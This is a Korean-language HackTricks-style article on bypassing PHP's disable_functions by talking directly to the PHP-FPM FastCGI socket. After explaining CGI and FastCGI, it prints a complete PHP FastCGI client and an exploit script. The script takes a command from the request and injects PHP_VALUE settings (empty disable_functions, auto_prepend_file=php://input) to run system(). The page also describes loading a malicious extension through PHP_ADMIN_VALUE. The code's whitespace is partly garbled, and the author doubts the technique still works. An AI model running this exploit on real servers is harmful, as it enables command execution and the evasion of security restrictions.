PHP-FPM은 표준 PHP FastCGI에 대한 우수한 대안으로 제공되며, 특히 트래픽이 많은 웹사이트에 유리한 기능을 제공합니다. 이는 마스터 프로세스를 통해 작업자 프로세스의 집합을 감독합니다. PHP 스크립트 요청의 경우, 웹 서버가 PHP-FPM 서비스에 대한 FastCGI 프록시 연결을 시작합니다. 이 서비스는 서버의 네트워크 포트 또는 유닉스 소켓을 통해 요청을 수신할 수 있는 기능을 가지고 있습니다.
프록시 연결의 중개 역할에도 불구하고, PHP-FPM은 웹 서버와 동일한 머신에서 작동해야 합니다. 사용되는 연결은 프록시 기반이지만, 전통적인 프록시 연결과는 다릅니다. 요청을 수신하면 PHP-FPM의 사용 가능한 작업자가 이를 처리하여 PHP 스크립트를 실행하고 결과를 웹 서버로 다시 전달합니다. 작업자가 요청 처리를 마치면, 다음 요청을 위해 다시 사용 가능해집니다.
But what is CGI and FastCGI?
CGI
일반적으로 웹 페이지, 파일 및 웹 서버에서 브라우저로 전송되는 모든 문서는 home/user/public_html과 같은 특정 공개 디렉토리에 저장됩니다. 브라우저가 특정 콘텐츠를 요청하면, 서버는 이 디렉토리를 확인하고 필요한 파일을 브라우저에 전송합니다.
서버에 CGI가 설치되어 있으면, 특정 cgi-bin 디렉토리도 추가됩니다. 예를 들어 home/user/public_html/cgi-bin입니다. CGI 스크립트는 이 디렉토리에 저장됩니다. 디렉토리의 각 파일은 실행 가능한 프로그램으로 취급됩니다. 디렉토리에서 스크립트에 접근할 때, 서버는 파일의 내용을 브라우저에 전송하는 대신 이 스크립트를 담당하는 애플리케이션에 요청을 보냅니다. 입력 데이터 처리가 완료되면, 애플리케이션은 출력 데이터를 웹 서버에 전송하고, 웹 서버는 데이터를 HTTP 클라이언트에 전달합니다.
예를 들어, CGI 스크립트 http://mysitename.com/cgi-bin/file.pl에 접근하면, 서버는 CGI를 통해 적절한 Perl 애플리케이션을 실행합니다. 스크립트 실행에서 생성된 데이터는 애플리케이션에 의해 웹 서버로 전송됩니다. 반면, 서버는 데이터를 브라우저로 전송합니다. 서버에 CGI가 없었다면, 브라우저는 .pl 파일 코드를 그대로 표시했을 것입니다. (설명은 여기에서)
FastCGI를 개발할 필요성은 웹이 애플리케이션의 빠른 개발과 복잡성으로 인해 발생했으며, CGI 기술의 확장성 부족을 해결하기 위해서입니다. 이러한 요구를 충족하기 위해 Open Market은 FastCGI – 향상된 기능을 갖춘 CGI 기술의 고성능 버전을 도입했습니다.
업로드하고 이 스크립트에 접근하면 익스플로잇이 FastCGI로 전송되고 (disable_functions 비활성화) 지정된 명령이 실행됩니다.
PHP 익스플로잇
최신 버전에서 작동하는지 확실하지 않습니다. 한 번 시도했지만 아무것도 실행할 수 없었습니다. 실제로 FastCGI 실행에서 phpinfo()가 disable_functions가 비어 있다고 표시했지만, PHP는 (어떻게든) 여전히 이전에 비활성화된 함수를 실행하는 것을 방지하고 있었습니다. 더 많은 정보가 있다면 [PEASS & HackTricks 텔레그램 그룹 여기](https://t.me/peass), 또는 트위터 [@carlospolopm](https://twitter.com/hacktricks_live)로 저에게 연락해 주세요.**
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
이전 함수를 사용하면 system 함수는 여전히 비활성화되어 있지만 **phpinfo()**는 **disable_functions**가 비어 있음을 보여줍니다:
그래서, disable_functions는 php .ini 구성 파일을 통해서만 설정할 수 있으며, PHP_VALUE는 해당 설정을 덮어쓰지 않을 것이라고 생각합니다.
이 익스플로잇은 이전 코드와 매우 유사하지만, PHP_VALUE를 사용하여 disable_functions를 우회하려고 시도하는 대신, PHP_ADMIN_VALUE 변수 내의 extension_dir 및 extension 매개변수를 사용하여 외부 PHP 모듈을 로드하려고 합니다.
NOTE1: 서버가 사용하는 동일한 PHP 버전으로 확장을 재컴파일해야 할 수도 있습니다 (phpinfo의 출력에서 확인할 수 있습니다):
NOTE2: PHP .ini 구성 파일에 extension_dir 및 extension 값을 삽입하여 이 작업을 수행할 수 있었습니다 (서버를 공격할 때 할 수 없는 작업입니다). 그러나 어떤 이유로 인해 이 익스플로잇을 사용하고 PHP_ADMIN_VALUE 변수에서 확장을 로드할 때 프로세스가 중단되었으므로 이 기술이 여전히 유효한지 모르겠습니다.